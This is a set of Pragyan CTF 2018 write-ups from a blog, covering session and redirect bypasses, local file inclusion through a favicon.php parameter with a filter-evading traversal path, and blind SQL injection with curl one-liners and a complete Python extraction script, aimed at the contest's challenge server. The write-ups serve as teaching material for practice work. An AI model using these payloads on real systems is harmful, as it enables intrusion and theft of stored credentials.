<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtIurNdvdo2yPsARgnjY_YAq_KjUFyeC1hDIiRoKSKf-EmGwTMqwh3Ak7f7dwG2gskvIF58n0QxCGBkPjLKElragmLAANKJeMBLz7UAH01UJH_DzVmGv1FUePIaiWyjoyxR5EHAeHpkVM/s1600/result-a.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="81" data-original-width="275" height="189" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtIurNdvdo2yPsARgnjY_YAq_KjUFyeC1hDIiRoKSKf-EmGwTMqwh3Ak7f7dwG2gskvIF58n0QxCGBkPjLKElragmLAANKJeMBLz7UAH01UJH_DzVmGv1FUePIaiWyjoyxR5EHAeHpkVM/s640/result-a.png" width="640" /></a></div>
<br />
If we attempt to concatenate these rows of bits together, we don't get anything too useful at all.
<br />
If we go from top to bottom, left to right, we're able to find a message. Trying the first column we can see what it decodes to:
<br />
<br />
<pre>
$ python
>>> chr(0b1110000)
'p'
</pre>
<br />
This is the beginning of the expected flag format 'pctf{', looks good!
<br />
<br />
Let's throw this in a small python script to decode it all:
<br />
<br />
<pre>
#!/usr/bin/env python
from pwn import unbits
b = [
'11111101111110101111',
'11111011111111111111',
'10101011000101110011',
'00001001110010000101',
'00110000111100001011',
'01011110110001101000',
'01001011100001111001',
]
flag = ''
for x in range(0, 20):
bits = [0]
for y in range(0, 7):
bits += b[y][x]
flag += unbits(bits)
print flag
</pre>
<br />
This results in:
<br />
<br />
<pre>
pctf{B3yondth3s1ght}
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2Fop7UbsbqLCn_qnJIiSQ7whWGrErhBVH3EsfLGbc-IDSfMw3w3HXc-ztigaHlvagOdzTAj1pEBPLzdZ4FpuSpFBH6qdjAviopKcWMQVl8ZUHt4zXYvHqZLFp14WqjDc-Yns-f2amwc0/s1600/result-b.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="81" data-original-width="275" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2Fop7UbsbqLCn_qnJIiSQ7whWGrErhBVH3EsfLGbc-IDSfMw3w3HXc-ztigaHlvagOdzTAj1pEBPLzdZ4FpuSpFBH6qdjAviopKcWMQVl8ZUHt4zXYvHqZLFp14WqjDc-Yns-f2amwc0/s640/result-b.png" width="640" /></a></div>
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-44468528725914687352018-03-04T23:06:00.003-08:002018-03-04T23:06:27.661-08:00Pragyan CTF 2018 - web<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
<br />
This post includes the following writeups:
<br />
<ul>
<li><a href="#unfinished-business">Unfinished business (100pts)</a></li>
<li><a href="#authenticate-to-admin">Authenticate your way to admin (150pts)</a></li>
<li><a href="#el33t-articles-hub">El33t Articles Hub (200pts)</a></li>
<li><a href="#animal-attack">Animal attack (200pts)</a></li>
</ul>
<br />
<br />
<h1 id="unfinished-business">
<a href="#unfinished-business">Unfinished business (100pts)</a></h1>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW_-c7TXpCbvfwY_V6DsV8VvpbkyiqJYv2FUurWBl5Hf-o4RKFAK2NG_S9NI7ClLsyFYUsuHRqdnStttmq_kgNnuOGKadW_IbwVZLS1xxbQ39UyMpsdWL3Q6YTrMtLGOXO-nbWPOgFki0/s1600/unfinished-business.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="292" data-original-width="691" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW_-c7TXpCbvfwY_V6DsV8VvpbkyiqJYv2FUurWBl5Hf-o4RKFAK2NG_S9NI7ClLsyFYUsuHRqdnStttmq_kgNnuOGKadW_IbwVZLS1xxbQ39UyMpsdWL3Q6YTrMtLGOXO-nbWPOgFki0/s1600/unfinished-business.png" /></a></div>
<br />
This challenge presents a login prompt and a nice option of making yourself admin.
<br />
<br />
It was unusual that the organizers decided to reuse account credentials for the challenges themselves. This was one of those challenges.
<br />
<br />
After logging in we see a success message:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizrMIHN4rfoZJcUARbrO7xgJ4YY-8SsEP-jvpCwBY75CodS-ZeKvPHhWG15xUSMc7j2mfhXRvCl_5BHaUn7wlC_z9njZ-d8hLKRffYdB1jPdH0mxWMq5yF5_gsGkBbgrOtbQXc5zF5RYI/s1600/maintenance.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="297" data-original-width="594" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizrMIHN4rfoZJcUARbrO7xgJ4YY-8SsEP-jvpCwBY75CodS-ZeKvPHhWG15xUSMc7j2mfhXRvCl_5BHaUn7wlC_z9njZ-d8hLKRffYdB1jPdH0mxWMq5yF5_gsGkBbgrOtbQXc5zF5RYI/s1600/maintenance.png" /></a></div>
<br />
Attempting to visit admin.php, we get redirected to the same intermediate page.
<br />
<br />
The redirect looked a little suspicious, so it seemed right to check this using curl:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi61vB5etQr1m6mTV7M7svW5eXhQ8vqlnOMMmH1wYRpSJliV0CX-54_CB5CzN-y9W7pwsqEpPtGwjxOUfsvbJjp7nt1ht9MajdHA-UuwIIqL6QEriD67QAYS7nNPq-sqODEiDtz-jVPBE/s1600/copy-as-curl.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="285" data-original-width="538" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi61vB5etQr1m6mTV7M7svW5eXhQ8vqlnOMMmH1wYRpSJliV0CX-54_CB5CzN-y9W7pwsqEpPtGwjxOUfsvbJjp7nt1ht9MajdHA-UuwIIqL6QEriD67QAYS7nNPq-sqODEiDtz-jVPBE/s1600/copy-as-curl.png" /></a></div>
<br />
After editing out extra headers, we get the flag without the redirect:
<br />
<br />
<pre>$ curl 'http://128.199.224.175:25000/admin.php' -H 'Cookie: PHPSESSID={REDACTEDREDACTEDREDACTED}'
<!DOCTYPE html>
<html>
<head>
<title>Admin Dashboard</title>
</head>
<body>
<center>
<h4>
Redirect
<br><br>
The Admin panel is under construction. Redirecting ...
</h4>
<br><br>
Flag :- pctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}
</center>
</body>
</html>
</pre>
<br />
<br />
<h1 id="authenticate-to-admin">
<a href="#authenticate-to-admin">Authenticate your way to admin (150pts)</a></h1>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqqQXse7bzyiq4PM64-tdFFViqG6P_fIwh7tV9tvG38AGddpJLsi2X1QkLbm_tTWzNUdzs8tbwTPYAU0EhEjrMsWoJLQHvI3jl89Vaq7c_8RKj92aGolFFJ0nqAd5BgYj2O4ZWCO_bxy0/s1600/0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="320" data-original-width="675" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqqQXse7bzyiq4PM64-tdFFViqG6P_fIwh7tV9tvG38AGddpJLsi2X1QkLbm_tTWzNUdzs8tbwTPYAU0EhEjrMsWoJLQHvI3jl89Vaq7c_8RKj92aGolFFJ0nqAd5BgYj2O4ZWCO_bxy0/s1600/0.png" /></a></div>
<br />
This challenge also used the CTF creds to auth, slightly odd, but when we login we get the following page:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_uF39AJ-bPDqWYlTaEQLu4gocKMONtxziBXetarVOvZY2c3wH_ZLvHRq4rSSeDgoIsB91Cj6VCucHuOITrg1KDu8pWko2OjYfCO_7Sq4zEo17eMsG-9BLv0JqEOFi6dpul246qcrUMTI/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="423" data-original-width="529" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_uF39AJ-bPDqWYlTaEQLu4gocKMONtxziBXetarVOvZY2c3wH_ZLvHRq4rSSeDgoIsB91Cj6VCucHuOITrg1KDu8pWko2OjYfCO_7Sq4zEo17eMsG-9BLv0JqEOFi6dpul246qcrUMTI/s1600/1.png" /></a></div>
<br />
They also included some source files for this challenge, notably this included:
<br />
<br />
<pre>$id_type = $_SESSION['id_type'];
$id = $_SESSION['id'];
...
<?php
require "sayings.php";
printf(get_random_saying());
echo "<br><br>";
if($id === 'admin' && $id_type === 'team_name')
printf(output_flag());
?>
</pre>
<br />
In login.php we also see $_SESSION values being set without condition:<br />
<br />
<pre>$type = $_POST['id_type'];
$identifier = $_POST['identifier'];
$password = $_POST['password'];
$_SESSION['id'] = $identifier;
</pre>
<br />
This means we could probably set the id & id_type to 'admin' and 'team_name' respectively without any verification, when attempting this we get a failure message:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7tDtespc_AaysafYNe3ObchVpu-64k3dmn6fr3t57i4TX6xWPIptNF0E40Z-Y-dDAJ34LGR1UYOezJ3oAOVqWt68jcKaZJqQQr3SZfeJXhro2pVtK5z0_PHYheEAd9Gv7MEFyiMOqY7U/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="185" data-original-width="477" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7tDtespc_AaysafYNe3ObchVpu-64k3dmn6fr3t57i4TX6xWPIptNF0E40Z-Y-dDAJ34LGR1UYOezJ3oAOVqWt68jcKaZJqQQr3SZfeJXhro2pVtK5z0_PHYheEAd9Gv7MEFyiMOqY7U/s1600/3.png" /></a></div>
<br />
This doesn't stop us from visiting homepage.php with our newly saved admin session:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeEBuTwjCW_IZAauEe3tsesAzySY3wZkhMwyYVj6jeEAFjhB7Tjbclm1g3TgFFOAPlZygzatbcs_ZoHvHjGbUzgqsQj06Dc1Ctv9U-oKdaWBbj92S0Gcsv4by4A7GnTR2AzmFr-6r4BqU/s1600/flag.png" imageanchor="1" style="margin-left: 0.5em; margin-right: 1em;"><img border="0" data-original-height="525" data-original-width="809" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeEBuTwjCW_IZAauEe3tsesAzySY3wZkhMwyYVj6jeEAFjhB7Tjbclm1g3TgFFOAPlZygzatbcs_ZoHvHjGbUzgqsQj06Dc1Ctv9U-oKdaWBbj92S0Gcsv4by4A7GnTR2AzmFr-6r4BqU/s1600/flag.png" /></a></div>
<br /><br />
<h1 id="el33t-articles-hub">
<a href="#el33t-articles-hub">El33t Articles Hub (200pts)</a></h1>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIX5WoXKK4Hiuw5QX6gYN5i_Fs_YgYTcY8HDrWF5AINGPy1Vu-sQl-L6OcA4Bm-4JGuS8l4LNgA9qYWcO4TkA3d8vMCP6fomPnWkM5a2FHNYcI4OTkvMVFzO22LYsWHmxaF8FDb7IgiJ8/s1600/El33t-articles-hub-home.png" imageanchor="1" style="margin-left: -3em; margin-right: 1em;"><img border="0" data-original-height="509" data-original-width="944" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIX5WoXKK4Hiuw5QX6gYN5i_Fs_YgYTcY8HDrWF5AINGPy1Vu-sQl-L6OcA4Bm-4JGuS8l4LNgA9qYWcO4TkA3d8vMCP6fomPnWkM5a2FHNYcI4OTkvMVFzO22LYsWHmxaF8FDb7IgiJ8/s1600/El33t-articles-hub-home.png" /></a></div>
<br />
This challenge was a lot of fun and had a nice distraction!
<br />
<br />
First clicking on a link, we notice we're redirected to a page with some content, and the url contains:
<br />
<br />
<pre>http://128.199.224.175:22000/?file=Morning%20Rituals
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVAa1jZAA5ZwkrAHkR_IqkzxOVL672Kr3415XcioUdSXYYrJYV9XGWLpBrDBdEL0mGYUKWqDyJwH_z0GIOLzp2gH83bcK6WxZ7yGoYKjh5UE3WDgpx2E7j28qBcDLUQ0qotBoH0gtV9CQ/s1600/El33t-articles-hub-morning-rituals.png" imageanchor="1" style="margin-left: -3.2em; margin-right: 1em;"><img border="0" data-original-height="659" data-original-width="967" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVAa1jZAA5ZwkrAHkR_IqkzxOVL672Kr3415XcioUdSXYYrJYV9XGWLpBrDBdEL0mGYUKWqDyJwH_z0GIOLzp2gH83bcK6WxZ7yGoYKjh5UE3WDgpx2E7j28qBcDLUQ0qotBoH0gtV9CQ/s1600/El33t-articles-hub-morning-rituals.png" /></a></div>
<br />
This immediately invokes the idea of LFI. Playing around a little, we start to get errors filtering keywords such as php: to mitigate attacks such as php://filter.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikjG4h9NDTL_W92GAg3afmqctR_TDkt-L_phW90TmxnSd6LsKx8eMcCV8X2srCozWfx7yHxL40BzjMQYAvIQToIHXvnA412Ylz-BfXVe8A_y_xT1ubiOqxuy5V_iidFIu_EQN7xXcjiMY/s1600/blocked.png" imageanchor="1" style="margin-left: -2em; margin-right: 1em;"><img border="0" data-original-height="241" data-original-width="913" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikjG4h9NDTL_W92GAg3afmqctR_TDkt-L_phW90TmxnSd6LsKx8eMcCV8X2srCozWfx7yHxL40BzjMQYAvIQToIHXvnA412Ylz-BfXVe8A_y_xT1ubiOqxuy5V_iidFIu_EQN7xXcjiMY/s1600/blocked.png" /></a></div>
<br />
After looking around for other potential vulnerabilities, something odd pops up:
<br />
<br />
<pre><link rel='shortcut icon' href='favicon.php?id=3' type='image/x-icon'>
</pre>
<br />
Why would a favicon be a php file, and why would it have an id? This is pure fish sauce.
<br />
<br />
Let's try to LFI it!
<br />
<br />
<pre>$ curl http://128.199.224.175:22000/favicon.php\?id\=./index.php
No files named './favicons/./index.php.png', './favicons/./index.php.ico' or './favicons/./index.php.php' found
</pre>
<br />
Perfect. Looks horrible.
<br />
<br />
Let's grab index.php source:
<br />
<br />
<pre>$ curl http://128.199.224.175:22000/favicon.php\?id\=../index
</pre>
<br />
index.php snippet:
<br />
<br />
<pre><!DOCTYPE html>
<html>
<head>
<?php
$favicon_id = mt_rand(1,7);
echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
?>
...
<?php
error_reporting(0);
require "fetch.php";
require "helpers.php";
$filename = !empty($_GET['file']) ? $_GET['file'] : "";
if($filename !== "") {
$filename = sanitize($filename);
$file_contents = read_article($filename);
echo "<p>";
echo $file_contents;
echo "</p>";
...
</pre>
<br />
It looks like there are other php files to dump (favicon.php, fetch.php, helpers.php):
<br />
<br />
<pre>$ curl http://128.199.224.175:22000/favicon.php\?id\=../favicon > favicon.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../fetch > fetch.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../helpers > helpers.php
</pre>
<br />
Grepping for the flag we see the match:
<br />
<br />
<pre>$ grep flag *
helpers.php: $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
</pre>
<br />
<br />
Visiting this url we get the flag:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3K6nXYbTZWe2ZuFOG3W3LI62gSyWY40v8l24rj2YBLgpEjoTkdxEWuXv1e0pvRXhq5RLaU3Gpk22zRvLh8D5_LsRltbFacBbRWrZJrTylcW7MVlvtN3LgTACU4XmV3FUaZHv63baUkrQ/s1600/flag-wut.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="118" data-original-width="796" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3K6nXYbTZWe2ZuFOG3W3LI62gSyWY40v8l24rj2YBLgpEjoTkdxEWuXv1e0pvRXhq5RLaU3Gpk22zRvLh8D5_LsRltbFacBbRWrZJrTylcW7MVlvtN3LgTACU4XmV3FUaZHv63baUkrQ/s1600/flag-wut.png" /></a></div>
<br />
After walking through this challenge again, it seems the flag was locked down so the technique above wouldn't work. So as an addition to this writeup, let's walk through the next steps after direct flag access has been denied.
<br />
<br />
Looking at the files again there was a filter for the first LFI:
<br />
<br />
<pre>$bad_chars = array("./", "../");
foreach ($bad_chars as $value) {
$filename = str_replace($value, "", $filename);
}
</pre>
<br />
Playing around in a local/online PHP repl helps with this, we end up with the new url:
<br />
<br />
<pre>http://128.199.224.175:22000/?file=.....///secret//flag_7258689d608c0e2e6a90c33c44409f9d
</pre>
<br />
This utilizes two LFI bugs, which is a nice combo to get the flag:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfAdVw4tfFFm79pWmPNURc9AczNZ0bhKDYtsm0lDNtFfS8P4rHLYxESFpDIvDb1F8iqewPT7bcdeKuyEujL5y9JfG1DroD5Ff_c3teerwTc6TcdH6YPXbkSXJo-2ykgvTnAx-LThRf86w/s1600/El33t-articles-flag.png" imageanchor="1" style="margin-left: -2.8em; margin-right: 1em;"><img border="0" data-original-height="349" data-original-width="915" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfAdVw4tfFFm79pWmPNURc9AczNZ0bhKDYtsm0lDNtFfS8P4rHLYxESFpDIvDb1F8iqewPT7bcdeKuyEujL5y9JfG1DroD5Ff_c3teerwTc6TcdH6YPXbkSXJo-2ykgvTnAx-LThRf86w/s1600/El33t-articles-flag.png" /></a></div>
<br /><br />
<h1 id="animal-attack">
<a href="#animal-attack">Animal attack (200pts)</a></h1>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYp3zKbBoXLFYS_YLWa0jj-MThz2MpSQJa9JYAyZuVjwwo8EWE_OBDimQj4BcoIXPlJYP7r4k58z70y2FfwzrV8y4W2ETfneY259pjB-0jgMdtNVniaTHj9J0eZo4jcsMW99ITYNbDzUI/s1600/full-resp.png" imageanchor="1" style="margin-left: -4.8em; margin-right: 1em;"><img border="0" data-original-height="750" data-original-width="1016" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYp3zKbBoXLFYS_YLWa0jj-MThz2MpSQJa9JYAyZuVjwwo8EWE_OBDimQj4BcoIXPlJYP7r4k58z70y2FfwzrV8y4W2ETfneY259pjB-0jgMdtNVniaTHj9J0eZo4jcsMW99ITYNbDzUI/s1600/full-resp.png" /></a></div>
<br />
As the name implies on this one, we're given a database of animal spies, and it hints at the possibility of SQL Injection with the search box.
<br />
<br />
Trying a very simple injection, we get a successful result:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin6KtgHhvpKAj0Wsn6H_hNjcDH1yTao-R-S-q4hPaqXZQlkOUfZjE8BRDN1KPH4s2HMCciMrz1ZhV_gVxQpOwe6WljRICzsOzgLCfu8jGv7GGHb10IOhLZQ6maMFoNvDE3dQ24sAIbwLA/s1600/sql-alix.png" imageanchor="1" style="margin-left: -3.4em; margin-right: 1em;"><img border="0" data-original-height="494" data-original-width="983" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin6KtgHhvpKAj0Wsn6H_hNjcDH1yTao-R-S-q4hPaqXZQlkOUfZjE8BRDN1KPH4s2HMCciMrz1ZhV_gVxQpOwe6WljRICzsOzgLCfu8jGv7GGHb10IOhLZQ6maMFoNvDE3dQ24sAIbwLA/s1600/sql-alix.png" /></a></div>
<br />
We can check if it's really SQL Injection and not just a rough match by checking the failing condition 1=2:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7qcQ4e_Q0fExVD8R-Km83ePYvP0wR0fcwD9GyxypQ810a7sG7pNWpZQ2IG2xF9irTopGgj60zMYn4hY9A8zW8HjjIMD6rqXSJyESlxOfQw7Ckt_MaOA95OiLjivanwafDht8-5JgcEBE/s1600/sql-alix-fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="257" data-original-width="444" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7qcQ4e_Q0fExVD8R-Km83ePYvP0wR0fcwD9GyxypQ810a7sG7pNWpZQ2IG2xF9irTopGgj60zMYn4hY9A8zW8HjjIMD6rqXSJyESlxOfQw7Ckt_MaOA95OiLjivanwafDht8-5JgcEBE/s1600/sql-alix-fail.png" /></a></div>
<br />
<br />
Looks like we have something! Now we just need to union select and we should be done right?
<br />
<br />
The next query was:
<br />
<br />
<pre>alix' union select * from users
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtCpimqNZ79W8NCw5mYKR3-5oDzhGq-ezH17zA4xeKTuQFVfKmAhyphenhyphenrvS7vOdYpvW4WIwbWNzTHzK-2bjaRswqTFIKP9-GjPV37Zp5f6XlOCj22Yomx4EfUkmh5qYFdFba_K1JvmBgQi14/s1600/sql-deny-union.png" imageanchor="1" style="margin-left: -5em; margin-right: 1em;"><img border="0" data-original-height="668" data-original-width="992" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtCpimqNZ79W8NCw5mYKR3-5oDzhGq-ezH17zA4xeKTuQFVfKmAhyphenhyphenrvS7vOdYpvW4WIwbWNzTHzK-2bjaRswqTFIKP9-GjPV37Zp5f6XlOCj22Yomx4EfUkmh5qYFdFba_K1JvmBgQi14/s1600/sql-deny-union.png" /></a></div>
<br />
They seem to have blocked the keyword 'union' from the input. We'll have to get more creative.
<br />
<br />
Without any reflected errors and the blocking of keywords, it made sense to go the blind sql injection route.
<br />
<br />
This is a good paper on blind sqli which was followed initially during the CTF - <a href="https://www.exploit-db.com/papers/13045/">https://www.exploit-db.com/papers/13045/</a>
<br />
<br />
First it would be nice to go through quicker iterations for searching. Using the same method above to copy the cURL value, we get a simplified version on the command line. Note the web application base64 encoded the query before sending it off, so we do the same:
<br />
<br />
<pre>$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64)
</pre>
<br />
To identify if the query succeeded or failed we can grep for Alix:
<br />
<br />
<pre>
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64) | grep Alix
<b> Name : </b> Alix <br>
</pre>
<br />
In the exploit-db paper by Marezzi, it mentions existence checks for columns, we'll perform the same here:
<br />
<br />
<pre>
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and (select substring(concat(1,password),1,1) from users where username=\"admin\" limit 0,1)=1 #".encode("base64").replace("\n", "")') | grep Alix
</pre>
<br />
With this we are able to tell there is a users table with an admin user and a password column.
<br />
Now we can enumerate which characters are in the password by using character range comparisons.
<br />
<br />
Starting with the first character, we can identify that it starts with the known flag format 'pctf{':
<br /><br />
<pre>
curl -L 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))=112 #".encode("base64").replace("\n", "")') | grep Alix
</pre>
<br />
That Passes! So now to enumerate other characters.
<br />
To find other characters, we iterate through the potential character space (python's string.printable is fine for this). Once we reach the point where the current character succeeds and the next fails, we know the next is part of the password. This may become clear in the following example:
<br /><br />
We know 'p' is the beginning of the flag, when we iterate through all possible characters we reach 'o'. The check 'p' > 'o' succeeds. Next we check if 'p' > 'p', this obviously fails, and we know that 'p' is the next match for our password.
<br /><br />
<pre>
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>111 #".encode("base64").replace("\n", "")') | grep Alix
<b> Name : </b> Alix <br>
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>112 #".encode("base64").replace("\n", "")') | grep Alix
</pre>
<br />
We'll also want to make this process more efficient by introducing a binary search while traversing through the possible characters.
<br /><br />
This was the final client for the challenge:
<br /><br />
<pre>
#!/usr/bin/env python
import requests
checkRange = range(9, 126)
BASE = "alix' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),{},1))>{} #"
def bsearch(pos):
min = 9
max = 126
while True:
if max < min: return -1
m = (min + max) // 2
first = request(pos, m)
second = request(pos, m + 1)
if first and not second:
return m + 1
elif first and second:
min = m + 1
else:
max = m - 1
def request(pos, char):
payload = BASE.format(pos, char).encode('base64')
r = requests.post('http://128.199.224.175:24000/', { "spy_name": payload })
return 'Alix' in r.text
def main():
flag = ''
pos = 1
while '}' not in flag:
flag += chr(bsearch(pos))
print 'Flag: {}'.format(flag)
pos += 1
print 'Result: {}'.format(flag)
if __name__ == '__main__':
main()
</pre>
<br /><br />
Running the client we get the flag:
<br /><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZseAklnXOSsAZRyP3mGfRhku_hMTtMies0g2dORMavAAIffxob90i5_ZxmqqeSGgH73pw-knSezFMgzd2ZbX038xpG5KQ2_3uCnQj9cWMhy3alrZYWEaqCCdQoLqwSWPozGxV-c_OGAc/s1600/blind-sqli.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZseAklnXOSsAZRyP3mGfRhku_hMTtMies0g2dORMavAAIffxob90i5_ZxmqqeSGgH73pw-knSezFMgzd2ZbX038xpG5KQ2_3uCnQj9cWMhy3alrZYWEaqCCdQoLqwSWPozGxV-c_OGAc/s1600/blind-sqli.png" data-original-width="402" data-original-height="846" /></a></div>
<br /><br />
</div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-24368360009635817362018-03-04T19:46:00.000-08:002018-03-04T19:46:03.756-08:00Pragyan CTF 2018 - Old school hack (200)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioZw2VvXKA9lB3RyJ-69kYQXaw7ktfL3oNg4J9zOrvVAZF4H3LGyILEl2J6oXKrCv0MlgqN_hRCoDuM6PLL_0715D9XlNAJNX39xaHU45XZOPlB517Dc0ori2BicC14dxpDl3XiL1kwhE/s1600/police-academy.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioZw2VvXKA9lB3RyJ-69kYQXaw7ktfL3oNg4J9zOrvVAZF4H3LGyILEl2J6oXKrCv0MlgqN_hRCoDuM6PLL_0715D9XlNAJNX39xaHU45XZOPlB517Dc0ori2BicC14dxpDl3XiL1kwhE/s1600/police-academy.jpg" data-original-width="640" data-original-height="360" /></a></div>
<br />
Pragyan had some fun challenges! There will be more writeups coming up soon for the CTF.
<br />
This binary Challenge wasn't very difficult, but the nostalgia of it was nice!
<br />
<br />
Here is the description:
<br />
<br />
<pre>
Chris is trying out to be a police officer and the applications have just been sent into the police academy. He is really eager to find out about his competition. Help it him back the system and view the other applicant’s applications.
The service is running at 128.199.224.175:13000
</pre>
<br />
We're given a x86-64 binary with NX & Canary enabled named police_academy.<br />
Looking in <a href="https://binary.ninja/">Binary Ninja</a>, we can immediately find out a few details which will help later when running through dynamic analysis.
<br />
<br />
First, there's a simple hard-coded password check on the binary:
<br />
<br />
